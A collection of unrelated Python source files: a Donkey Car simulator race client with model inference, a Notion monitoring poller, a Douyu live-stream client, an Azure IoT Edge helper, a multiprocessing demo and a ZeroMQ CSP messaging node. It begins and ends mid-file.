time: {end_time - start_time:10.7f}') self.image_queue.task_done() if throttle[0] > 0.95: throttle[0] = 1.0 elif throttle[0] < -1.0: throttle[0] = -1.0 # body color change color = self.color_make(throttle[0]) left_arrow, right_arrow = self.lr_make(steering[0]) t = time.time() if not self.press_any_key: name = f'{left_arrow.rjust(3)}{self.name} press any key {throttle[0]:0.2f}{right_arrow.ljust(3)}' elif not self.simulator_timing_ok: if t - self.lap_first_start_time <= 3.0: # 3.0s name = f'{left_arrow.rjust(3)}{self.name} START {throttle[0]:0.2f}{right_arrow.ljust(3)}' elif t - self.lap_end_time <= 3.0: # 3.0s name = f'{self.name} lap:{self.last_lap_time:0.2f})' else: name = f'{left_arrow.rjust(3)}{self.name} delay calibrating {throttle[0]:0.2f}{right_arrow.ljust(3)}' else: if t - self.lap_first_start_time <= 3.0: # 3.0s name = f'{left_arrow.rjust(3)}{self.name} START {throttle[0]:0.2f}{right_arrow.ljust(3)}' elif t - self.lap_end_time <= 3.0: # 3.0s name = f'{left_arrow.rjust(3)}{self.name} lap:{self.last_lap_time:0.2f} {throttle[0]:0.2f}{right_arrow.ljust(3)}' else: name = f'{left_arrow.rjust(3)}{self.name} {self.accumulated_delay:0.7f} {throttle[0]:0.2f}{right_arrow.ljust(3)}' car_conf = {"body_style" : "donkey", "body_rgb" : color, "car_name" : name, "font_size" : 25} self.car_config_to_send_queue(conf=car_conf, delay=self.delay-q['delay']) if self.press_any_key: self.controls_to_send_queue(steering[0], throttle[0], delay=self.delay-q['delay']) print(f"set delay: {self.delay-q['delay']}") end_run_time = time.time() print(f'run_model time: {end_run_time - start_run_time:10.7f}') else: self.count += 1 def color_make(self, value): """ Rainbow color maker. value: -1.0 to 1.0 abs(value) 0.0: blue abs(value) 0.5: green abs(value) 1.0: red """ value = abs(value) if value > 1: value = 1 c = int(255*value) c1 = int(255*(value*2-0.5)) c05 = int(255*value*2) if c > 255: c = 255 elif c < 0: c = 0 if c1 > 255: c1 = 255 elif c1 < 0: c1 = 0 if c05 > 255: c05 = 255 elif c05 < 0: c05 = 0 if 0 <= value and value < 0.5: color = (0,c05,255-c05) # blue -> green elif 0.5 <= value and value <= 1.0: color = (c1,c05-c1,0) # green -> red elif 1.0 < value: color = (255,0,0) # red return color def lr_make(self, value): """ Rainbow color maker. value: -1.0 to 1.0 abs(value) 0.0: blue abs(value) 0.5: green abs(value) 1.0: red """ if value > 1: value = 1 elif value < -1: value = -1 left_arrow = '<' right_arrow = '>' if value < 0: if value <= -0.7: left_arrow = '<<<' right_arrow = '' elif value <= -0.3: left_arrow = '<<' right_arrow = '' elif value <= -0.125: left_arrow = '<' right_arrow = '' else: left_arrow = '<' right_arrow = '>' elif value >= 0: if value >= 0.7: left_arrow = '' right_arrow = '>>>' elif value >= 0.3: left_arrow = '' right_arrow = '>>' elif value >= 0.125: left_arrow = '' right_arrow = '>' else: left_arrow = '<' right_arrow = '>' return left_arrow, right_arrow def scene_config_to_send_queue(self, conf=None): logger.debug("scene_config_to_send_queue") if conf is None: conf = self.scene_conf msg = json.dumps(conf) q = {'data':msg, 'time':time.time(), 'delay': 0.0} self.send_queue.put(q) def car_config_to_send_queue(self, conf=None, delay=0.0): logger.debug("car_config_to_send_queue") if conf is None: conf = self.car_conf if "body_style" in conf: msg = {'msg_type': 'car_config', 'body_style': conf["body_style"], 'body_r' : str(conf["body_rgb"][0]), 'body_g' : str(conf["body_rgb"][1]), 'body_b' : str(conf["body_rgb"][2]), 'car_name': conf["car_name"], 'font_size' : str(conf["font_size"])} msg = json.dumps(msg) q = {'data':msg, 'time':time.time(), 'delay': delay} self.send_queue.put(q) def cam_config_to_send_queue(self, conf=None): logger.debug("cam_config_to_send_queue") if conf is None: conf = self.cam_conf """ Camera config set any field to Zero to get the default camera setting. offset_x moves camera left/right offset_y moves camera up/down offset_z moves camera forward/back rot_x will rotate the camera rot_y will rotate the camera rot_z will rotate the camera with fish_eye_x/y == 0.0 then you get no distortion img_enc can be one of JPG|PNG|TGA """ msg = {"msg_type" : "cam_config", "fov" : str(conf["fov"]), "fish_eye_x" : str(conf["fish_eye_x"]), "fish_eye_y" : str(conf["fish_eye_y"]), "img_w" : str(conf["img_w"]), "img_h" : str(conf["img_h"]), "img_d" : str(conf["img_d"]), "img_enc" : str(conf["img_enc"]), "offset_x" : str(conf["offset_x"]), "offset_y" : str(conf["offset_y"]), "offset_z" : str(conf["offset_z"]), "rot_x" : str(conf["rot_x"]), "rot_y" : str(conf["rot_y"]), "rot_z" : str(conf["rot_z"])} msg = json.dumps(msg) q = {'data':msg, 'time':time.time(), 'delay': 0.0} self.send_queue.put(q) def controls_to_send_queue(self, steering, throttle, delay=0.0): logger.debug("controls_to_send_queue: {steering}, {throttle}") p = {"msg_type" : "control", "steering" : steering.__str__(), "throttle" : throttle.__str__(), "brake" : "0.0"} msg = json.dumps(p) q = {'data':msg, 'time':time.time(), 'delay': delay} self.send_queue.put(q) def on_press(self, key): try: self.press_any_key = True print('alphanumeric key {0} pressed'.format(key.char)) if key.char == 'c' and self.press_ctrl: print('<ctrl>+c pressed') print('keyboard lister stopped') raise KeyboardInterrupt() except AttributeError: print('special key {0} pressed'.format(key)) if key == keyboard.Key.ctrl: self.press_ctrl = True def on_release(self, key): print('{0} released'.format(key)) if key == keyboard.Key.esc: # Stop listener return False if key == keyboard.Key.ctrl: self.press_ctrl = False def on_activate_ctrl_c(self): print('<ctlr>+c pressed') print('hotkey listener stopped') raise KeyboardInterrupt() class TRTModel(): def __init__(self, model_path): self.engine = None self.inputs = None self.outputs = None self.bindings = None self.stream = None self.runtime = trt.Runtime(TRT_LOGGER) MODEL_TYPE = 'linear' self.engine = self.load_engine(model_path) self.inputs, self.outputs, self.bindings, self.stream = self.allocate_buffers(self.engine) self.context = self.engine.create_execution_context() def close(self): self.context = None def load_engine(self, model_path): # load tensorrt model from file with open(model_path, 'rb') as f, trt.Runtime(TRT_LOGGER) as runtime: engine = runtime.deserialize_cuda_engine(f.read()) print(f'Load model from {model_path}.') return engine def save_engine(self, engine, model_path): # save tensorrt model to file serialized_engine = engine.serialize() with open(model_path, "wb") as f, trt.Runtime(TRT_LOGGER) as runtime: engine = runtime.deserialize_cuda_engine(serialized_engine) f.write(engine.serialize()) print(f'Save model to {model_path}.') def allocate_buffers(self, engine): inputs = [] outputs = [] bindings = [] stream = cuda.Stream() for binding in engine: size = trt.volume(engine.get_binding_shape(binding)) * engine.max_batch_size dtype = trt.nptype(engine.get_binding_dtype(binding)) # Allocate host and device buffers host_memory = cuda.pagelocked_empty(size, dtype) device_memory = cuda.mem_alloc(host_memory.nbytes) bindings.append(int(device_memory)) if engine.binding_is_input(binding): inputs.append(HostDeviceMemory(host_memory, device_memory)) else: outputs.append(HostDeviceMemory(host_memory, device_memory)) return inputs, outputs, bindings, stream def preprocess(self, image): # image: rgb image # RGB convert from [0, 255] to [0.0, 1.0] x = image.astype(np.float32) / 255.0 # HWC to CHW format #x = x.transpose((2, 0, 1)) # keras -> ONNX -> TRT8, don't need HWC to CHW. model inputs uses HWC. # Flatten it to a 1D array. x = x.reshape(-1) #x = x.ravel() return x def infer(self, x, batch_size=1): # The first input is the image. Copy to host memory. image_input = self.inputs[0] np.copyto(image_input.host_memory, x) # Transfer input data to the GPU. [cuda.memcpy_htod_async(inp.device_memory, inp.host_memory, self.stream) for inp in self.inputs] # Run inference. self.context.execute_async(batch_size=batch_size, bindings=self.bindings, stream_handle=self.stream.handle) # Transfer predictions back from the GPU. [cuda.memcpy_dtoh_async(out.host_memory, out.device_memory, self.stream) for out in self.outputs] # Synchronize the stream self.stream.synchronize() # Return only the host outputs. #print(self.outputs) return [out.host_memory for out in self.outputs] class TFLiteModel(): def __init__(self, model_path): self.interpreter = self.load_model(model_path) def close(self): return def load_model(self, model_path): print(f'Load model from {model_path}.') interpreter = tf.lite.Interpreter(model_path) interpreter.allocate_tensors() self.input_details = interpreter.get_input_details() self.output_details = interpreter.get_output_details() return interpreter def preprocess(self, image): # image: rgb image # RGB convert from [0, 255] to [0.0, 1.0] x = image.astype(np.float32) / 255.0 # HWC to CHW format #x = x.transpose((2, 0, 1)) # keras -> ONNX -> TRT8, don't need HWC to CHW. model inputs uses HWC. # Flatten it to a 1D array. #x = x.reshape(-1) #x = x.ravel() return x def infer(self, x, batch_size=1): self.interpreter.set_tensor(self.input_details[0]['index'], [x]) self.interpreter.invoke() steering = self.interpreter.get_tensor(self.output_details[0]['index'])[0] throttle = self.interpreter.get_tensor(self.output_details[1]['index'])[0] return [throttle, steering] class TFModel(): def __init__(self, model_path): self.model = self.load_model(model_path) def close(self): return def load_model(self, model_path): print(f'Load model from {model_path}.') model = keras.models.load_model(model_path) return model def preprocess(self, image): # image: rgb image # RGB convert from [0, 255] to [0.0, 1.0] x = image.astype(np.float32) / 255.0 # HWC to CHW format #x = x.transpose((2, 0, 1)) # keras -> ONNX -> TRT8, don't need HWC to CHW. model inputs uses HWC. # Flatten it to a 1D array. #x = x.reshape(-1) x = x[None, :, :, :] #x = x.ravel() return x def infer(self, x, batch_size=1): outputs = self.model(x, training=False) steering = outputs[0][0].numpy() # EagerTensor to numpy throttle = outputs[1][0].numpy() return [throttle, steering] def main(host, name, model_path, delay): car_conf = {"body_style" : "donkey", "body_rgb" : (255, 0, 0), "car_name" : name, "font_size" : 25} # ~/projects/gym-donkeycar/gym_donkeycar/envs/donkey_env.py # generated_road, warehouse, sparkfun_avc, generated_track, mountain_track, roboracingleague_1, waveshare, mini_monaco, warren, thunderhill, circuit_launch scene_conf = {"msg_type" : "load_scene", "scene_name" : "generated_track"} cam_conf = {"msg_type" : "cam_config", "fov" : 0, "fish_eye_x" : 0, "fish_eye_y" : 0, "img_w" : 0, "img_h" : 0, "img_d" : 0, "img_enc" : 0, "offset_x" : 0, "offset_y" : 0, "offset_z" : 0, "rot_x" : 0, "rot_y" : 0, "rot_z" : 0} # Create client PORT = 9091 SOCKET_READ_HZ = 1000 # read socket hz client = RaceClient(host=host, port=PORT, model_path=model_path, delay=delay, car_conf=car_conf, scene_conf=scene_conf, cam_conf=cam_conf, socket_read_hz=SOCKET_READ_HZ, name=name) try: while True: client.run_model() time.sleep(0.001) except KeyboardInterrupt: pass except: traceback.print_exc() print("racer error!:") finally: client.stop() if __name__ == '__main__': args = docopt(__doc__) if args['--model'].endswith('.engine'): import tensorrt as trt import pycuda.driver as cuda import pycuda.autoinit from collections import namedtuple global HostDeviceMemory global TRT8 global TRT7 global TRT_LOGGER HostDeviceMemory = namedtuple('HostDeviceMemory', 'host_memory device_memory') TRT8 = 8 TRT7 = 7 TRT_LOGGER = trt.Logger() elif args['--model'].endswith('.h5'): import tensorflow as tf import tensorflow.keras as keras elif args['--model'].endswith('.tflite'): import tensorflow as tf main(host=args['--host'], name=args['--name'], model_path=args['--model'], delay=args['--delay'])
monitor.py
import json import re import requests import threading import time import uuid from collections import defaultdict from inspect import signature from requests import HTTPError from .collection import Collection from .logger import logger from .records import Record class Monitor(object): thread = None def __init__(self, client, root_url="https://msgstore.www.notion.so/primus/"): self.client = client self.session_id = str(uuid.uuid4()) self.root_url = root_url self._subscriptions = set() self.initialize() def _decode_numbered_json_thing(self, thing): thing = thing.decode().strip() for ping in re.findall('\d+:\d+"primus::ping::\d+"', thing): logger.debug("Received ping: {}".format(ping)) self.post_data(ping.replace("::ping::", "::pong::")) results = [] for blob in re.findall("\d+:\d+(\{.*?\})(?=\d|$)", thing): results.append(json.loads(blob)) if thing and not results and "::ping::" not in thing: logger.debug("Could not parse monitoring response: {}".format(thing)) return results def _encode_numbered_json_thing(self, data): assert isinstance(data, list) results = "" for obj in data: msg = str(len(obj)) + json.dumps(obj, separators=(",", ":")) msg = "{}:{}".format(len(msg), msg) results += msg return results.encode() def initialize(self): logger.debug("Initializing new monitoring session.") response = self.client.session.get( "{}?sessionId={}&EIO=3&transport=polling".format( self.root_url, self.session_id ) ) self.sid = self._decode_numbered_json_thing(response.content)[0]["sid"] logger.debug("New monitoring session ID is: {}".format(self.sid)) # resubscribe to any existing subscriptions if we're reconnecting old_subscriptions, self._subscriptions = self._subscriptions, set() self.subscribe(old_subscriptions) def subscribe(self, records): if isinstance(records, set): records = list(records) if not isinstance(records, list): records = [records] sub_data = [] for record in records: if record not in self._subscriptions: logger.debug( "Subscribing new record to the monitoring watchlist: {}/{}".format( record._table, record.id ) ) # add the record to the list of records to restore if we're disconnected self._subscriptions.add(record) # subscribe to changes to the record itself sub_data.append( { "type": "/api/v1/registerSubscription", "requestId": str(uuid.uuid4()), "key": "versions/{}:{}".format(record.id, record._table), "version": record.get("version", -1), } ) # if it's a collection, subscribe to changes to its children too if isinstance(record, Collection): sub_data.append( { "type": "/api/v1/registerSubscription", "requestId": str(uuid.uuid4()), "key": "collection/{}".format(record.id), "version": -1, } ) data = self._encode_numbered_json_thing(sub_data) self.post_data(data) def post_data(self, data): if not data: return logger.debug("Posting monitoring data: {}".format(data)) self.client.session.post( "{}?sessionId={}&transport=polling&sid={}".format( self.root_url, self.session_id, self.sid ), data=data, ) def poll(self, retries=10): logger.debug("Starting new long-poll request") try: response = self.client.session.get( "{}?sessionId={}&EIO=3&transport=polling&sid={}".format( self.root_url, self.session_id, self.sid ) ) response.raise_for_status() except HTTPError as e: try: message = "{} / {}".format(response.content, e) except: message = "{}".format(e) logger.warn( "Problem with submitting polling request: {} (will retry {} more times)".format( message, retries ) ) time.sleep(0.1) if retries <= 0: raise if retries <= 5: logger.error( "Persistent error submitting polling request: {} (will retry {} more times)".format( message, retries ) ) # if we're close to giving up, also try reinitializing the session self.initialize() self.poll(retries=retries - 1) self._refresh_updated_records( self._decode_numbered_json_thing(response.content) ) def _refresh_updated_records(self, events): records_to_refresh = defaultdict(list) for event in events: logger.debug( "Received the following event from the remote server: {}".format(event) ) if not isinstance(event, dict): continue if event.get("type", "") == "notification": key = event.get("key") if key.startswith("versions/"): match = re.match("versions/([^\:]+):(.+)", key) if not match: continue record_id, record_table = match.groups() local_version = self.client._store.get_current_version( record_table, record_id ) if event["value"] > local_version: logger.debug( "Record {}/{} has changed; refreshing to update from version {} to version {}".format( record_table, record_id, local_version, event["value"] ) ) records_to_refresh[record_table].append(record_id) else: logger.debug( "Record {}/{} already at version {}, not trying to update to version {}".format( record_table, record_id, local_version, event["value"] ) ) if key.startswith("collection/"): match = re.match("collection/(.+)", key) if not match: continue collection_id = match.groups()[0] self.client.refresh_collection_rows(collection_id) row_ids = self.client._store.get_collection_rows(collection_id) logger.debug( "Something inside collection {} has changed; refreshing all {} rows inside it".format( collection_id, len(row_ids) ) ) records_to_refresh["block"] += row_ids self.client.refresh_records(**records_to_refresh) def poll_async(self): if self.thread: # Already polling async; no need to have two threads return self.thread = threading.Thread(target=self.poll_forever, daemon=True) self.thread.start() def poll_forever(self): while True: try: self.poll() except Exception as e: logger.error("Encountered error during polling!") logger.error(e, exc_info=True) time.sleep(1)
douyu_client.py
from subprocess import check_output from urllib.parse import unquote from urllib.request import urlopen import hashlib import json import logging import os import re import requests import subprocess import threading import time from ..cmd_config import room_status, config from ..settings import CURRENT_USER_HOME_DIR from .douyu_danmu_manager import DouyuDanmuManager from danmufm.misc.player import MPlayer logger = logging.getLogger("danmu.fm") session = requests.session() session.headers = { "Accept": "text/html", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4", "Connection": "keep-alive", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", } def valid_json(my_json): """ 验证是否为 json 数据格式""" try: json_object = json.loads(my_json) except ValueError as e: print(e) return False return json_object class DouyuClient(object): """ [TODO:如下] 1. 初始化Client相关配置(获取) 2. 获取 房间信息 / 主播信息 3. 使用DanmuManager获取弹幕信息 4. 使用队列进行缓存和入库 """ def __init__(self, url): self.DOUYU_PREFIX = "http://www.douyu.com/" if self.DOUYU_PREFIX not in url: url = self.DOUYU_PREFIX + url self.url = url self.mplayer = MPlayer() def start(self): # 获取房间信息 auth_server_ip, auth_server_port = self.fetch_room_info(self.url) if auth_server_ip == False or auth_server_port == True: exit() # 获取视频流信息 # self.fetch_rtmp_info() # 使用弹幕Manager不断获取弹幕到队列中,并打印出来 self.fetch_danmu(auth_server_ip, auth_server_port) pass def fetch_room_info(self, url): html = session.get(url).text room_info_json = re.search('var\s\$ROOM\s=\s({.*});', html).group(1) # print(room_info_json) auth_server_json = re.search('\$ROOM\.args\s=\s({.*});', html).group(1) # print(auth_server_json) room_info_json_format = valid_json(room_info_json) auth_server_json_format = valid_json(auth_server_json) if room_info_json_format != False and auth_server_json_format != False: js = room_info_json_format room = room_status room["id"] = js["room_id"] room["name"] = js["room_name"] room["gg_show"] = js["show_id"] room["owner_uid"] = js["owner_uid"] room["owner_name"] = js["owner_name"] room["room_url"] = js["room_url"] room["near_show_time"] = js["show_time"] # room["tags"] = [] # room_tags_json = js["all_tag_list"] # if js["room_tag_list"] != None: # room_tags_size = len(js["room_tag_list"]) # for i in range(0, room_tags_size): # room["tags"].append(room_tags_json[js["room_tag_list"][i]]["name"]) auth_servers = valid_json(unquote(auth_server_json_format["server_config"])) auth_server_ip = auth_servers[0]["ip"] auth_server_port = auth_servers[0]["port"] return auth_server_ip, auth_server_port else: logger.info("请求网页错误,正在退出...") return False, False def fetch_rtmp_info(self): api_url_prefix = "http://douyutv.com/api/v1/" cctime = int(time.time()) md5url = "room/" + str(room_status["id"]) + "?aid=android&client_sys=android&time=" + str(cctime) m2 = hashlib.md5(bytes(md5url + "1231", "utf-8")) url_json = api_url_prefix + md5url + "&auth=" + m2.hexdigest() res = session.get(url_json) js_data = json.loads(res.text) print("-->" + str(js_data)) # 如果在线,则存在RTMP视频流,否则主播不在线 if str(js_data["data"]["rtmp_live"]).strip() == "": logger.error("当前主播不在线,请切换别的房间试试") exit() else: logger.info("当前主播在线") sd_rmtp_url = str(js_data["data"]["rtmp_url"]) + "/" + str(js_data["data"]["rtmp_live"]) hd_rmtp_url = str(js_data["data"]["rtmp_url"]) + "/" + str(js_data["data"]["rtmp_live"]) spd_rmtp_url = str(js_data["data"]["rtmp_url"]) + "/" + str(js_data["data"]["rtmp_live"]) sd_flv_addr = session.get(sd_rmtp_url, allow_redirects=False).headers["Location"] hd_flv_addr = session.get(hd_rmtp_url, allow_redirects=False).headers["Location"] spd_flv_addr = session.get(spd_rmtp_url, allow_redirects=False).headers["Location"] if config["video_stored_path"] != os.getcwd(): if config["video_quality"] <= 0: logger.info("不播放视频") elif config["video_quality"] == 1: logger.info("正在尝试使用Mplayer播放普清视频" + sd_flv_addr) self.mplayer.start(sd_flv_addr) elif config["video_quality"] == 2: logger.info("正在尝试使用Mplayer播放高清视频" + hd_flv_addr) self.mplayer.start(hd_flv_addr) else: logger.info("正在尝试使用Mplayer播放超清视频" + spd_flv_addr) self.mplayer.start(spd_flv_addr) else: t = threading.Thread(target=self.wget_to_path, args=(config["video_stored_path"], spd_flv_addr,)) t.setDaemon(True) t.start() pass def wget_to_path(self, path, url): cmd = ["/usr/local/bin/wget", url, "-O", os.path.join(path, room_status["owner_name"] + "_" + room_status["name"].strip().replace(" ", "_") + str( time.strftime("_%Y%m%d_%H%M%S") + str(".flv"))) ] logger.debug(cmd) try: check_output(cmd, stderr=subprocess.PIPE) except subprocess.CalledProcessError as e: print(e.output) pass def fetch_danmu(self, auth_server_ip, auth_server_port): client = DouyuDanmuManager(auth_server_ip, auth_server_port) client.start() def print_room_info(self): print("=========================================") print("= Room Infomation =") print("=========================================") print("= 房间: " + room_status["name"] + "(" + room_status["id"] + ")") print("= 主播: " + room_status["owner_name"] + str(room_status["owner_uid"])) print("= 公告: " + re.sub("\n+", "\n", re.sub('<[^<]+?>', '', room_status["gg_show"]))) # print("= 标签: " + str(room_status["tags"])) print("= 在线: " + room_status["live_stat"]) print("= 粉丝: " + room_status["fans_count"]) print("= 财产: " + room_status["weight"]) print("=========================================")
iotedge.py
# Copyright (c) Microsoft. All rights reserved. # Licensed under the MIT license. See LICENSE file in the project root for full license information. import paho.mqtt.client as mqtt import time import ssl import json import random import os #import logging import threading from azure.iot.device import IoTHubModuleClient #https://docs.microsoft.com/en-us/azure/iot-hub/iot-hub-python-python-module-twin-getstarted def twin_update_listener(client, callback): print("Listening to module twin updates...") while True: patch = client.receive_twin_desired_properties_patch() # blocking call callback(patch) # define behavior for receiving an input message on input1 def input_listener(client, module_input, callback): print("Listening to {}...".format(module_input)) while True: input_message = client.receive_message_on_input(module_input) # blocking call callback(input_message) def init(): # Inputs/Ouputs are only supported in the context of Azure IoT Edge and module client # The module client object acts as an Azure IoT Edge module and interacts with an Azure IoT Edge hub module_client = IoTHubModuleClient.create_from_edge_environment() # connect the client. module_client.connect() return module_client def start_intput_listener(module_client, module_input, on_input): # Run INPUT listener thread in the background listen_thread = threading.Thread(target=input_listener, args=(module_client, module_input, on_input,)) listen_thread.daemon = True listen_thread.start() def start_device_twin_listener(module_client, on_device_twin): # Run MODULE TWIN listener thread in the background twin_update_listener_thread = threading.Thread(target=twin_update_listener, args=(module_client, on_device_twin,)) twin_update_listener_thread.daemon = True twin_update_listener_thread.start() def input_message_debug_callback(input_message): message = input_message.data size = len(message) message_text = message.decode('utf-8') print ( " Data: <<<%s>>> & Size=%d" % (message_text, size) ) custom_properties = input_message.custom_properties print ( " Properties: %s" % custom_properties ) RECEIVED_MESSAGES = 0 print ( " Total messages received: %d" % RECEIVED_MESSAGES ) data = json.loads(message_text) def device_twin_patch_debug_callback(patch): print("") print("Twin desired properties patch received:") print(patch)
demo.mp.pqt.py
''' http://www.cnblogs.com/284628487a/p/5590857.html ''' import os import sys def spline(msg): return msg if len(msg)>72 else spline('-'+msg+'-') p = lambda x: print(spline(x)) p('fork') pid = os.fork() # UNIX only if pid == 0: print('fork child') raise SystemExit else: print('fork parent') p('fork .. ok') p('Process') from multiprocessing import Process def backjob(args): print('backjob: args=', args) worker = Process(target=backjob, args=('test',)) worker.start() worker.join() p('Process .. ok') # Pool for mass amount of subprocesses p('Queue IPC') from multiprocessing import Queue import time def populate(_q): for _ in range(10): print('{}: populate data and write to queue'.format(os.getpid())) _q.put(1) time.sleep(1) qbuf = Queue() worker = Process(target=populate, args=(qbuf,)) worker.start() ta = time.time() for _ in range(9): print('{}: consume data in the queue, {}'.format(os.getpid(), qbuf.get())) time.sleep(1) print('time elapsed', time.time() -ta ) worker.join() worker.terminate() p('Queue IPC') p('Serial') ta = time.time() for _ in range(9): print('{}: populate data and write to queue'.format(os.getpid())) time.sleep(1) print('{}: consume data in the queue'.format(os.getpid())) time.sleep(1) print('time elapsed', time.time() -ta ) p('Serial - ok')
zmqnode.py
import re import zmq import argparse from random import randint from threading import Thread from queue import Queue def threaded(fn): def wrapper(*args, **kwargs): thread = Thread(target=fn, args=args, kwargs=kwargs) thread.start() return thread return wrapper class StopedException(Exception): pass class CspHeader(object): next_port = 0 def __init__(self, src_node=None, dst_node=None, src_port=None, dst_port=None, prio=2, hdr_bytes=None): """ Represents a CSP header :param src_node: Int. :param dst_node: Int. :param src_port: Int. :param dst_port: Int. :param prio: Int. :param hdr_bytes: Bytes. """ if src_port is None: src_port = CspHeader.next_port % 16 + 48 CspHeader.next_port += 1 self.src_node = src_node self.dst_node = dst_node self.src_port = src_port self.dst_port = dst_port self.prio = prio self.hmac = False self.xtea = False self.rdp = False self.crc32 = False self.mac_node = dst_node self.__bytes = None if hdr_bytes: self.from_bytes(hdr_bytes) def __str__(self): return "S {}, D {}, Dp {}, Sp {}, Pr {}, HMAC {} XTEA {} RDP {} CRC32 {}".format( self.src_node, self.dst_node, self.dst_port, self.src_port, self.prio, self.hmac, self.xtea, self.rdp, self.crc32) def __repr__(self): return self.__bytes.hex() def __int__(self): return int(self.__bytes.hex(), 16) def __hex__(self): return self.__bytes.hex() def __bytes__(self): return self.__bytes def from_bytes(self, hdr_bytes): """ Parse header from byte array :param hdr_bytes: Array containing header bytes :return: None >>> hdr_bytes = bytes([0, 93, 160, 130]) >>> hdr = CspHeader() >>> hdr.from_bytes(hdr_bytes) >>> hdr.dst_node 10 >>> hdr.dst_port 1 """ assert len(hdr_bytes) == 4 self.__bytes = hdr_bytes hdr_hex = bytes(reversed(hdr_bytes)).hex() # print(hdr_hex) hdr_int = int(hdr_hex, 16) # print(hdr_int) self.__parse(hdr_int) def to_bytes(self): """ Return the header as a byte array :return: Byte array >>> hdr_bytes = bytes([0, 93, 160, 130]) >>> hdr = CspHeader(hdr_bytes=hdr_bytes) >>> hdr.to_bytes() == hdr_bytes True """ self.__bytes = self.__dump() return self.__bytes def resend(self): """ Swap node and port field to create a response header :return: None >>> hdr_bytes = bytes([0, 93, 160, 130]) >>> hdr = CspHeader(src_node=1, dst_node=2, src_port=10, dst_port=20) >>> hdr.src_node 1 >>> hdr.resend() >>> hdr.src_node 2 >>> hdr.src_port 20 """ dst_node = self.dst_node self.dst_node = self.src_node self.src_node = dst_node dst_port = self.dst_port self.dst_port = self.src_port self.src_port = dst_port self.mac_node = self.dst_node return self def __parse(self, hdr_int): self.src_node = (hdr_int >> 25) & 0x1f self.dst_node = (hdr_int >> 20) & 0x1f self.dst_port = (hdr_int >> 14) & 0x3f self.src_port = (hdr_int >> 8) & 0x3f self.prio = (hdr_int >> 30) & 0x03 self.hmac = True if ((hdr_int >> 3) & 0x01) else False self.xtea = True if ((hdr_int >> 2) & 0x01) else False self.rdp = True if ((hdr_int >> 1) & 0x01) else False self.crc32 = True if ((hdr_int >> 0) & 0x01) else False self.mac_node = self.dst_node def __dump(self): # Prio SRC DST DP SP RES H X R C header = "{:02b}{:05b}{:05b}{:06b}{:06b}0000{:01b}{:01b}{:01b}{:01b}" hdr_bin = header.format(self.prio, self.src_node, self.dst_node, self.dst_port, self.src_port, self.hmac, self.xtea, self.rdp, self.crc32) hdr_bin = re.findall("........", hdr_bin)[::-1] hdr_bytes = bytes([int(i, 2) for i in hdr_bin]) return hdr_bytes class CspZmqNode(object): def __init__(self, node, hub_ip='localhost', in_port="8001", out_port="8002", reader=True, writer=False, proto="tcp"): """ CSP ZMQ NODE Is a PUB-SUB node connected to other nodes via the XSUB-XPUB hub NODE:PUB:OUT_PORT <----> HUB:XSUB:IN_PORT|::|HUB:XPUB:OUT_PORT <----> NODE:SUB:IN_PORT :param node: Int. This node address :param hub_ip: Str. Hub node IP address :param in_port: Str. Input port, SUB socket. (Should match hub output port, XPUB sockets) :param out_port: Str. Output port, PUB socket. (Should match hub input port, XSUB sockets) :param reader: Bool. Activate reader. :param writer: Bool. Activate writer. >>> import time >>> node_1 = CspZmqNode(10) >>> node_1.read_message = lambda msg, hdr: print(msg, hdr) >>> node_1.start() >>> time.sleep(1) >>> node_1.stop() """ self.node = int(node) if node else None self.hub_ip = hub_ip self.out_port = out_port self.in_port = in_port self.monitor = reader self.console = writer self._context = None self._queue = Queue() self._writer_th = None self._reader_th = None self._run = True self._proto = proto @threaded def _reader(self, node=None, port="8001", ip="localhost", proto="tcp", ctx=None): """ Thread to read messages :param node: Int. Node to subscribe, usually self.node, use None to subscribe to all node messages. :param port: Str. Port to read message (SUB socket) :param ip: Str. Hub IP address, can be a remote node :param ctx: ZmqContext. Usually self._context or None to create a new context. :return: Thread. """ _ctx = ctx if ctx is not None else zmq.Context(1) sock = _ctx.socket(zmq.SUB) sock.setsockopt(zmq.SUBSCRIBE, chr(int(node)).encode('ascii') if node is not None else b'') sock.setsockopt(zmq.RCVTIMEO, 1000) sock.connect('{}://{}:{}'.format(proto, ip, port)) print("Reader started!") while self._run: # print("reading") try: frame = sock.recv_multipart()[0] # print(frame) header = frame[1:5] data = frame[5:] # print(header) try: csp_header = CspHeader() csp_header.from_bytes(header) except: csp_header = None # if self.monitor: # print('\nMON:', frame) # print('\tHeader: {},'.format(csp_header)) # print('\tData: {}'.format(data)) # print("Header", csp_header) self.read_message(data, csp_header) except zmq.error.Again: pass sock.setsockopt(zmq.LINGER, 0) sock.close() if not ctx: _ctx.terminate() print("Reader stopped!") @threaded def _writer(self, node=None, port="8002", ip="localhost", proto="tcp", ctx=None): """ Thread to send messages :param origin: Int. Node of origin, usually self.node. :param port: Str. Port to write messages (PUB socket) :param ip: Str. Hub IP address, can be a remote node :param ctx: ZmqContext. Usually self._context or None to create a new context. :return: Thread. """ _ctx = ctx if ctx is not None else zmq.Context(1) sock = _ctx.socket(zmq.PUB) sock.connect('{}://{}:{}'.format(proto, ip, port)) print("Writer started!") while self._run: try: # dnode, dport, sport, data = self._queue.get() data, csp_header = self._queue.get() #print("W:", csp_header, data) if len(data) > 0: # Get CSP header and data hdr = csp_header.to_bytes() msg = bytearray([int(csp_header.mac_node), ]) + hdr + bytearray(data, "ascii") # print("con:", msg) sock.send(msg) except Exception as e: print(e) break sock.setsockopt(zmq.LINGER, 0) sock.close() if not ctx: _ctx.terminate() print("Writer stopped!") def read_message(self, message, header=None): """ Overwrite this method to process incoming messages. This function is automatically called by the reader thread when a new message arrives. :param message: Str. Message received :param header: CspHeader. CSP header :return: """ raise NotImplementedError def send_message(self, message, header=None): """ Call this function to send messages to another node. Destination node, port, and other options are contained in the header. This function automatically connects with the writer thread to send the messages. In general you do not need to overwrite this function, instead, you can simple use this function from your main thread. This function is thread safe because it uses a Queue to connect with the writer thread. :param message: Str. Message to send. :param header: CspHeader. CSP header object :return: None >>> node_1 = CspZmqNode(10, writer=True) >>> node_1.start() >>> header = CspHeader(src_node=10, dst_node=11, dst_port=47, src_port=1) >>> node_1.send_message("hello_world", header) >>> node_1.stop() W: S 10, D 11, Dp 47, Sp 1, Pr 2, HMAC False XTEA False RDP False CRC32 False hello_world """ self._queue.put((message, 